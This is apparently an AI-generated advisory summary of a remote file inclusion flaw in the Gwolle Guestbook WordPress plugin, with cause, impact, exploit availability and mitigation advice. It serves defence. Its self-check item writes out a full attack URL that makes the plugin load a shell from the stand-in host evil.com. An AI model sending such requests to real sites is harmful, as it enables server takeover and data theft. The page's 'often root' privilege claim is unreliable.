This is a summary of the AI-generated 10-question deep analysis. The full version (longer answers, follow-up Q&A, related CVEs) requires login. Read the full analysis β
Q1What is this vulnerability? (Essence + Consequences)
π¨ **Essence**: Remote File Inclusion (RFI) in Gwolle Guestbook plugin.β¦
π‘οΈ **Root Cause**: Lack of input validation/sanitization. π **Flaw**: The `abspath` GET parameter is passed directly to PHP's `require()` function without checking if it is a local file or a remote URL.
π **Hackers Can**: Execute arbitrary PHP code. π **Impact**: Full server compromise, data theft, backdoor installation. π **Privileges**: Equivalent to the web server user (often root/admin access via RCE).
Q5Is exploitation threshold high? (Auth/Config)
π **Threshold**: **LOW**. π« **Auth**: No authentication required. π **Access**: Publicly accessible endpoint (`ajaxresponse.php`). Any visitor can trigger the exploit.
Q6Is there a public Exp? (PoC/Wild Exploitation)
π₯ **Public Exp?**: **YES**. Multiple Python scripts available on GitHub (e.g., `gwolle_buster.py`) and Exploit-DB (ID: 38861). π οΈ **Automation**: Scripts auto-generate reverse shells and handle netcat listeners.
Q7How to self-check? (Features/Scanning)
π **Self-Check**: Scan for `Gwolle Guestbook` plugin. π§ͺ **Test**: Send HTTP GET request to `/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://evil.com/shell.txt`.β¦
π§ **No Patch?**: 1. Disable the plugin immediately. π 2. Block access to `frontend/captcha/ajaxresponse.php` via WAF or `.htaccess`. π§Ή 3. Remove the plugin directory if not needed.
Q10Is it urgent? (Priority Suggestion)
β οΈ **Urgency**: **CRITICAL**. π΄ **Priority**: **P0**. Since it requires no auth and allows RCE, automated bots are likely scanning for this. Patch **NOW** to prevent immediate compromise.